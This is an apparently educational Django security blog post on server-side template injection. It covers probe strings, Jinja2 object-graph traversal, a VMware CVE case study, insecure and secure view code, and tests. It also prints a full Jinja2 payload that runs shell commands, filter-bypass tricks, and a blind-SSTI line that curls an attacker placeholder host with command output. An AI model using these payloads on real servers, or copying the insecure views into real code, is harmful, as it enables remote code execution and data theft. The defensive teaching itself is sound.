Server-Side Template Injection (SSTI): When Django Templates Become a Weapon

Server-Side Template Injection (SSTI): When Django Templates Become a Weapon

Django Security Series — Post 3 | Series I: Injection Attacks
OWASP A03:2021 — Injection | Reading time: ~14 min

Post 1 of this series covered SQL Injection — untrusted data breaking the boundary between SQL structure and a database query. Post 2 covered XSS — untrusted data breaking the boundary between HTML structure and a browser's rendering engine. Post 3 completes the injection triad with the highest-severity variant: Server-Side Template Injection (SSTI), where untrusted data breaks the boundary between a string and a server-side template engine — and the payoff for the attacker is not a DOM-level script execution but Remote Code Execution (RCE) on the server itself.

The Django paradox here is sharp. Django's built-in template language (DTL) is sandboxed and safe by design: {{ 7*7 }} renders as an empty string, not 49, because DTL does not evaluate Python expressions. Yet the same Django project that uses DTL throughout can be trivially vulnerable to SSTI if a single view passes user input to Template(user_input) — a pattern that looks innocuous in a "personalised email" or "notification template" feature and gives an attacker direct access to every object the view exposes — or, on a Jinja2 backend, a path straight to os.popen.

In this post we are going to look at how SSTI is detected and exploited, why Jinja2 is the primary target, what architectural property makes DTL safe, and exactly where that safety guarantee evaporates. The rule we build toward is simple: a template is a file you control, not a string a user sends you.


The Attack: What It Is and How It Works

SSTI occurs when user-controlled input is concatenated into a template string and then rendered by a template engine, causing the engine to evaluate the input as code rather than data. The root cause is the same category of mistake as SQL Injection — conflating data and code at an interpreter boundary — just one layer higher in the stack. In SQL Injection the interpreter is the database engine; in SSTI the interpreter is the template engine.

The consequence is proportional to what the template engine can reach — and that reach is much deeper than most developers expect. A parameterised SQL query is bounded: it touches the database and nothing else. A template engine, by contrast, operates inside the Python process itself. In Python, every object carries a reference to its class (__class__), every class carries its full inheritance chain (__mro__, the Method Resolution Order), and the base object class at the root of that chain knows about every other class the interpreter has loaded into memory (__subclasses__()). A template engine that evaluates Python expressions therefore has a traversal path from any simple value — a string, a number, a list — all the way to subprocess.Popen, os.system, and the OS shell. The data-store boundary that SQL Injection stops at does not exist here; the only boundary is the Python process itself, and the Python process has full access to the operating system.

Detection Technique

The standard detection approach — documented in the PortSwigger Web Security Academy — uses a probe string whose output identifies both the presence of SSTI and the engine being used:

Engine Probe string Output if vulnerable
Jinja2 / Twig {{7*7}} 49
Jinja2 confirmation {{7*'7'}} 7777777
FreeMarker / Groovy ${7*7} 49
ERB / EJS <%= 7*7 %> 49
Ruby (Slim / Haml) #{7*7} 49
Smarty {7*7} 49
Django DTL {{7*7}} (empty string)

The Django DTL row is the key: {{ 7*7 }} renders as empty because 7*7 is not a name present in the template context. It is not evaluated as an expression. This is the architectural guarantee discussed in the Django Protections section below.

For an attacker probing a black-box application, receiving 49 in response to {{7*7}} confirms both the presence of SSTI and that the engine is Jinja2 or Twig. A blank response suggests DTL — but not necessarily safety, since the application might still use Template(user_input) internally (covered in the Vulnerable Pattern section below). The attacker's next probe is {{ ''.__class__ }}: in Jinja2 this returns <class 'str'>; in DTL it returns empty. The MRO traversal begins from there.

Step-by-Step Exploit Escalation

  1. Attacker submits {{7*7}} in a user-facing field — a display name, an email subject template, a personalised greeting — that the server later renders through a template engine.
  2. Server returns 49 instead of the literal string {{7*7}}. SSTI confirmed.
  3. Attacker enumerates the Python object graph. Python objects carry their class information as attributes; through the MRO, every object is connected to every class Python has loaded in the current process.
  4. Attacker reaches a class that can execute OS commands.
  5. Attacker achieves Remote Code Execution: arbitrary commands run on the server under the web process user.

How Attackers Exploit It — Jinja2 MRO Traversal

Django officially supports Jinja2 as an alternative template backend, configured alongside DTL in settings.py via django.template.backends.jinja2.Jinja2. Teams opt in for Python expression support, Jinja2's macro system, Flask-to-Django migration compatibility, or raw rendering performance.

Jinja2's expression evaluation model gives template code direct read access to Python object attributes. An attacker with SSTI in a Jinja2 environment can walk the MRO to reach dangerous built-in classes:

# Conceptual traversal — illustrates the path, not a drop-in exploit
{{ ''.__class__ }}
→ <class 'str'>

{{ ''.__class__.__mro__ }}
→ (<class 'str'>, <class 'object'>)

{{ ''.__class__.__mro__[1].__subclasses__() }}
→ [<class 'type'>, <class 'weakref'>, ..., <class 'subprocess.Popen'>, ...]

Once subprocess.Popen or a similar execution primitive is located in the subclass list (its index varies by Python version and loaded modules), the attacker can invoke it to execute OS commands. The specific index varies, but the traversal path is deterministic — automated tools walk it exhaustively.

[MITRE] T1059.006 — Command and Scripting Interpreter: Python. The template expression is the scripting interpreter. The attacker does not need a separate shell payload; the Python object graph is the attack surface.

Advanced Attack Variations

Blind SSTI — when output is not reflected in the HTTP response (e.g. the template is rendered into an email body), attackers confirm code execution via out-of-band channels: a DNS callback (os.system('curl attacker.example/$(id)')) observed in Burp Collaborator or a self-hosted interactsh instance. The response delay technique (os.system('sleep 5')) works when outbound network connections are blocked.

Filter bypass — input validation that looks for {{ is not a reliable mitigation. Attribute-access filters that block .__class__ can be bypassed with Jinja2’s pipe notation: {{ ''|attr('__class__') }}. WAF rules using string matching can be bypassed via Unicode equivalents of the curly-brace characters. The only reliable mitigation is never rendering user input as a template string.

DTL vs Jinja2 — Side by Side

Feature Django DTL Jinja2 (default environment)
Expression evaluation No — only variable lookup Yes — full Python expressions
Access to Python builtins No Yes (range, dict, etc.)
Access to __class__, __mro__ No Yes
Callable objects in templates Limited — calls only zero-argument methods and callables resolved via attribute access Yes — arbitrary callables
Macro / call block support No Yes
Built-in sandbox Architectural (not a setting) Optional — SandboxedEnvironment
{{ ''.__class__ }} output (empty string) <class 'str'>

Real-World Incident: VMware Workspace ONE Access — CVE-2022-22954

In April 2022, VMware disclosed a critical unauthenticated SSTI vulnerability in Workspace ONE Access (formerly VMware Identity Manager), rated CVSS 9.8. The entry point was the FreeMarker template engine used in the Workspace ONE web interface: an attacker could supply a malicious template expression through the deviceUdid HTTP parameter in the /catalog-portal/ui/oauth/verify endpoint with no authentication required. FreeMarker, like Jinja2, evaluates expressions at render time — a FreeMarker template expression that reaches the OS via the freemarker.template.utility.Execute class achieves the same outcome as the Jinja2 MRO traversal above.

The vulnerability was added to the CISA Known Exploited Vulnerabilities (KEV) catalogue on the same day as disclosure — 6 April 2022 — indicating active exploitation in the wild from the moment the advisory went public. Active exploitation was observed at scale within days of disclosure, driven initially by opportunistic actors including Mirai botnet variants and cryptominer loaders rather than targeted nation-state campaigns. The CVSS score of 9.8 reflects the pre-authentication attack surface: any system with the Workspace ONE web UI reachable on the network was exploitable without credentials.

The MITRE ATT&CK mapping is: T1190 (Exploit Public-Facing Application) for initial access; T1059 (Command and Scripting Interpreter) for execution after RCE was achieved.

The lesson for Django developers: the vulnerability was not in VMware's business logic — it was in the decision to render a user-controlled string through a powerful, expression-evaluating template engine. A Django DTL view processing the same parameter would not have been vulnerable in the same way. A Django view using Jinja2 without SandboxedEnvironment would have been.

Source: VMware Security Advisory VMSA-2022-0011


Django's Default Protections

DTL does not evaluate Python expressions. This is architectural, not a configuration setting you can accidentally disable. When the Django template engine encounters {{ variable }}, it looks up the name variable in the explicitly passed Context dictionary — that is the only resolution mechanism it has. There is no expression parser, no access to Python builtins, and no path to the object graph beyond what the view explicitly put in the context.

The three consequences that follow from this architecture:

  1. {{ 7*7 }} renders as empty string — the name 7*7 does not exist in any context. There is no multiplication.
  2. {{ ''.__class__ }} renders as empty string — __class__ is not in the context. The dunder attribute is never accessed.
  3. {{ request.META.HTTP_HOST }} renders as empty string unless the view explicitly passed request into the context — there is no implicit request object available in a user-supplied template string.

{% load %} tags — the mechanism for adding custom functionality to DTL templates — must be registered in a Python templatetags/ package and cannot be loaded from user input. An attacker cannot {% load subprocess %} even if they control the template string, because the tag doesn't exist and the load mechanism only resolves registered Python modules.

Django's autoescape=True default (covered in Post 2) adds an XSS layer on top: even if a variable value contained an HTML payload, it would be entity-escaped before being written into the page.

Where the Guarantee Evaporates: Template(user_input)

DTL's safety is unconditional for templates loaded from the filesystem. It evaporates the moment a string from user input is passed directly to Template():

from django.template import Template, Context

# The template engine processes whatever string you give it.
# If that string came from user input, the user is now writing your template code.
t = Template(user_input)
result = t.render(Context({}))

Passing user input to Template() breaks a specific guarantee: instead of supplying values to your template, the user is now writing it. DTL resolves every name the user writes against the context your view passed in. Supply {{ request.user.email }} and that value is read and returned; supply {{ request.META.HTTP_HOST }} and the server hostname leaks. The {{7*7}} arithmetic probe still renders empty — DTL has no expression evaluator — but that is the wrong test to run. The real question is what named objects are in the context.

The blast radius scales with context depth. A model instance exposes every accessible field by name. The Django ORM goes further: reverse relations ({{ user.groups.all }}, {{ user.logentry_set.all }}, any _set accessor) are reachable just by knowing the schema — no traversal needed. Every object in the context is a readable surface, including every object the ORM can reach from it.

The second risk is template tag execution. Every {% tag %} registered in any installed app’s templatetags/ package is callable from a user-supplied template string. This includes built-in tags such as {% include %} and {% extends %}, and any custom tags your own application registers — including tags that invoke business logic, format sensitive data, or interact with the filesystem.

The safe contract is: user input is context data, never template source. A user may control what values are substituted into a template; they must never control the template itself.


Vulnerable Pattern: What NOT to Do

Pattern 1 — Template(user_input) in a View

The most common SSTI mistake in Django: passing user input directly to the Template() constructor.

# INSECURE — user-controlled string rendered as a template
from django.template import Template, Context
from django.http import HttpResponse

def personalised_greeting(request):
    # The user has supplied this string — e.g. via a "customise your greeting" field
    template_string = request.POST.get('greeting_template', '')
    t = Template(template_string)
    result = t.render(Context({'user': request.user}))
    return HttpResponse(result)

Attack payload: {{ user.password }} — if user is in the context, Django's password field stores the hashed credential (e.g. pbkdf2_sha256$...), not the plaintext, but the hash is now visible in the response. Leaking the hash is still critical: it enables offline brute-force attacks without any further server access.

The attacker-controlled value is greeting_template. The developer has passed the context object — which may contain the request, the user, or any other sensitive object — to a rendering engine that will now execute whatever the attacker supplies.

Pattern 2 — Jinja2 Backend Without SandboxedEnvironment

Django supports a Jinja2 backend as an alternative template engine. Unlike DTL, Jinja2's default Environment evaluates full Python expressions at render time. When a user-controlled string is passed to from_string(), the engine treats that string as executable template code — not as data. Because Jinja2 exposes the Python object graph (attributes such as __class__, __mro__, and __subclasses__() are readable from any template expression), an attacker can traverse from any value in the context all the way to subprocess.Popen and execute arbitrary OS commands. There is no expression evaluator to disable; the only architectural safeguard is SandboxedEnvironment, and it is not the default.

# INSECURE — Jinja2 from_string() with user input and no sandbox
from django.template import engines
from django.http import HttpResponse

def render_notification(request):
    body_template = request.POST.get('notification_body', '')
    jinja_env = engines['jinja2']
    result = jinja_env.from_string(body_template).render({})
    return HttpResponse(result)

Attack payload: {{ ''.__class__.__mro__[1].__subclasses__()[INDEX]('id', shell=True, stdout=-1).communicate()[0] }} — where INDEX is the position of subprocess.Popen in the subclass list (-1 is the integer value of subprocess.PIPE). This executes the id command on the server and returns its output in the HTTP response.

Note that engines['jinja2'] uses Django's default Jinja2 backend configuration, which does not wrap the environment in SandboxedEnvironment. The standard Jinja2 Environment exposes the full Python object graph.

Pattern 3 — Stored SSTI via a Database-Backed Template

The parallel to Stored XSS (Post 2): an admin-configurable field in the database is passed to Template() at render time.

# INSECURE — stored SSTI: template string comes from the database, not from a request
from django.template import Template, Context
from django.core.mail import send_mail
from .models import EmailTemplate  # stores admin-configured body templates

def send_welcome_email(user):
    template_record = EmailTemplate.objects.get(name='welcome')
    # template_record.body is a free-text field an admin can edit in the Django admin
    t = Template(template_record.body)
    body = t.render(Context({'user': user}))
    send_mail('Welcome', body, 'noreply@example.com', [user.email])

The attack surface is now any user with access to the Django admin (or the underlying database). This includes compromised admin accounts, malicious insiders, and SQL injection vulnerabilities elsewhere in the application. A stored SSTI payload in EmailTemplate.body is triggered on every call to send_welcome_email() — not just once, but for every email sent thereafter. The parallel to Stored XSS: one write, unlimited executions.

The fix for all three patterns is identical: never pass a user-controlled or database-backed string to Template() as template source. The next section covers the correct approach.


Secure Implementation: The Django Way

Rule 1 — Never Pass User Input to Template()

If dynamic, template-like personalisation is required (e.g. "Hello, {{ first_name }}!"), use a fixed template file loaded from the filesystem with a controlled substitution mechanism — not user input as template source.

# SECURE — template is a file you control; user data is only ever context
from django.template.loader import get_template
from django.http import HttpResponse

# Filesystem template: templates/blog/greeting.html
# Contents: <p>Hello, {{ user.first_name }}!</p>
# The user can influence the *values* in the context — they cannot supply the template itself.

ALLOWED_GREETING_TEMPLATES = {
    'formal': 'blog/greeting_formal.html',
    'casual': 'blog/greeting_casual.html',
}

def personalised_greeting(request):
    template_name = request.GET.get('style', 'casual')
    # Validate against an explicit allowlist — never pass the raw request value to get_template()
    safe_template_name = ALLOWED_GREETING_TEMPLATES.get(template_name, 'blog/greeting_casual.html')
    t = get_template(safe_template_name)
    return HttpResponse(t.render({'user': request.user}, request))

Key properties of this pattern:
- The template source is a file on disk that only developers can modify — user input cannot affect the template structure.
- The user can influence which template is loaded, but only from an explicit allowlist — path traversal is structurally prevented.
- User data flows only through the Context — it is rendered data, never template code.

Rule 2 — Use SandboxedEnvironment If Jinja2 is Required

If a feature genuinely requires user-defined template logic (e.g. a notification system where each organisation customises their own email body), use jinja2.sandbox.SandboxedEnvironment instead of the standard Environment. The sandbox raises SecurityError on attempts to access dunder attributes or restricted methods. Treat it as a defence-in-depth layer rather than an absolute guarantee — historical bypasses via globals references and built-in helpers have been disclosed, so keep Jinja2 updated and pair the sandbox with a minimal context.

# SECURE — SandboxedEnvironment blocks MRO traversal
from jinja2.sandbox import SandboxedEnvironment
from django.http import HttpResponse

_sandbox = SandboxedEnvironment(autoescape=True)

def render_custom_notification(request):
    body_template = request.POST.get('notification_body', '')
    try:
        t = _sandbox.from_string(body_template)
        result = t.render({'user_name': request.user.get_full_name()})
    except Exception:
        # SandboxedEnvironment raises SecurityError on traversal attempts;
        # treat any exception from from_string() or render() as a rejection.
        result = ''
    return HttpResponse(result)

Crucially, note what the context contains: {'user_name': request.user.get_full_name()} — a plain string, not the full request.user object. Limiting the context to the minimum data the template needs is its own defence layer: even if the sandbox were bypassed, the attacker's access is bounded by what the context exposed.

SandboxedEnvironment with autoescape=True also applies HTML escaping, closing the XSS vector that would otherwise exist if the rendered template output is inserted into a page (→ Post 2).

Rule 3 — Validate Template Name Lookups Against an Allowlist

This rule applies when a user or database value influences which template is loaded — not the template's content. A user who controls the template name can craft values like ../../settings.html to read arbitrary files through the template loader. Django's template loaders do not prevent this on their own.

Primary approach — explicit allowlist. When the set of valid templates is fixed and known at design time, an allowlist is the strongest protection:

# SECURE — allowlist validation before get_template()
from django.template.loader import get_template

TEMPLATE_ALLOWLIST = frozenset({
    'emails/welcome.html',
    'emails/password_reset.html',
    'emails/invoice.html',
})

def load_email_template(template_name: str):
    if template_name not in TEMPLATE_ALLOWLIST:
        raise ValueError(f"Template '{template_name}' is not in the allowed set.")
    return get_template(template_name)

An allowlist rejects anything not explicitly anticipated — with exact equality matching (as above, using frozenset membership), it cannot be traversed via path manipulation.

When the template set is open-ended — path resolution. Some applications construct template names dynamically from a fixed prefix and a user-supplied fragment (for example, locale-based templates: en/welcome.html, pt/welcome.html). When every valid combination cannot be listed in advance, assert that the resolved path stays inside the expected templates directory:

import pathlib
from django.template.loader import get_template

TEMPLATES_BASE = pathlib.Path('/app/templates').resolve()

def load_locale_template(locale: str, name: str):
    candidate = (TEMPLATES_BASE / locale / name).resolve()
    if not candidate.is_relative_to(TEMPLATES_BASE):
        raise ValueError("Path traversal detected.")
    # Convert back to a relative name for Django's template loader
    return get_template(str(candidate.relative_to(TEMPLATES_BASE)))

is_relative_to() avoids the classic startswith() prefix bypass where a sibling directory like /app/templates_evil/ would pass a startswith('/app/templates') check.

Where both approaches are feasible, prefer the allowlist — it rejects names that were not explicitly anticipated, whereas the path check only prevents directory escape.

The invariant rule: a template is a file you control, not a string a user sends you.


Testing Your Defence

Unit Tests

# blog/tests.py
from django.test import TestCase
from django.contrib.auth.models import User

class SSTIProtectionTests(TestCase):
    def setUp(self):
        self.user = User.objects.create_user('testuser', password='testpass')

    def test_template_probe_not_evaluated(self):
        """Smoke test: confirms that the {{7*7}} probe never yields '49' when a
        user-controlled field is rendered by a standard DTL view. A failure —
        b'49' in the response — means a Jinja2 backend without a sandbox is in use.
        Note: DTL never evaluates arithmetic regardless of how the template is
        constructed, so this test cannot detect Template(user_input) misuse in a
        pure-DTL project; for that, see test_dtl_template_user_input_exposes_context_data.
        Adapt '/profile/' and 'first_name' to the URL and field your app renders."""
        self.user.first_name = '{{7*7}}'
        self.user.save()
        self.client.force_login(self.user)
        response = self.client.get('/profile/')
        self.assertEqual(response.status_code, 200)
        self.assertNotIn(b'49', response.content)

    def test_dtl_template_user_input_exposes_context_data(self):
        """Documents the Template(user_input) vulnerability: DTL resolves every
        name the attacker writes against whatever the view passed into the context.
        This test deliberately exercises the dangerous pattern so the behaviour is
        explicit — use it to understand what is at stake if Template(user_input)
        ever appears in a view that passes a user object in the context."""
        from django.template import Template, Context
        payload = '{{ user.email }}'
        t = Template(payload)
        result = t.render(Context({'user': self.user}))
        # DTL resolves 'user.email' from the context — the address is leaked.
        self.assertEqual(result, self.user.email)

    def test_jinja2_sandbox_blocks_traversal(self):
        """Confirms that SandboxedEnvironment raises SecurityError when a template
        expression attempts to access __class__, blocking the first step of MRO
        traversal. A failure here means the sandbox is not active and the Jinja2
        backend is open to full RCE: an attacker can walk from any value in the
        context all the way to subprocess.Popen."""
        from jinja2.sandbox import SandboxedEnvironment
        import jinja2
        env = SandboxedEnvironment()
        with self.assertRaises(jinja2.exceptions.SecurityError):
            env.from_string("{{ ''.__class__ }}").render({})

Manual Verification

python manage.py shell

# Confirm DTL does not evaluate expressions:
>>> from django.template import Template, Context
>>> Template('{{ 7*7 }}').render(Context({}))
''   # correct: empty string — no expression evaluation

# Confirm SandboxedEnvironment blocks traversal:
>>> from jinja2.sandbox import SandboxedEnvironment
>>> env = SandboxedEnvironment()
>>> env.from_string("{{ ''.__class__ }}").render({})
# Raises jinja2.exceptions.SecurityError — correct behaviour

Automated Scanning

OWASP ZAP includes an SSTI scanner in its active scan ruleset. Run against staging only:

# OWASP ZAP active scan — SSTI rule fires the {{7*7}} probe automatically
# Note: zap-cli is a third-party community wrapper; verify it is installed and
# current for your ZAP version. The official alternative is the ZAP Automation Framework.
zap-cli active-scan --scanners ssti "https://staging.example.com/"

# Semgrep rule for Python SSTI patterns — catches Template(variable) at static analysis time
semgrep --config "p/django" blog/ blogtech/

The Semgrep Django ruleset flags Template() calls that receive non-literal arguments. Adding this check to CI ensures new occurrences are caught before they reach production.


SSTI Prevention Checklist

Control What it covers
Never pass untrusted strings to Template() The primary SSTI vector in Django — user input and database-backed values are context data, never template source
Allowlist template names before get_template() Path traversal via user-controlled template names — prevents the loader from reading arbitrary files outside the templates directory
SandboxedEnvironment for user-defined Jinja2 templates Jinja2 MRO traversal — raises SecurityError on dunder attribute access
Minimal context — pass only needed data Reduces blast radius if Template() or Jinja2 is ever misused — attacker access bounded by context
Semgrep / static analysis in CI Catches Template(variable) and Jinja2 from_string(variable) patterns before they reach production

Post 3 adds the server-side counterpart to the injection picture. SQL Injection hits the database; XSS hits the browser DOM; SSTI hits the template engine — and through the Python object graph, the server OS. Django's template language is safe by design in the normal case; the danger arises when developers route user input around that design by calling Template(user_input). The habit to carry forward mirrors the one from Post 1: treat any call to Template() with a non-literal argument the same way you treat cursor.execute(raw_sql) — a code review finding that blocks merge until it is replaced with a safe pattern.

Post 4 moves from the template engine to the OS shell itself — subprocess and os.system, the shell=True trap, and how user input that reaches the OS command layer achieves RCE even more directly.

Further Reading

Next in this series → Post 4: OS Command Injection: subprocess, os.system, and the Dangers of shell=True

← Back to all posts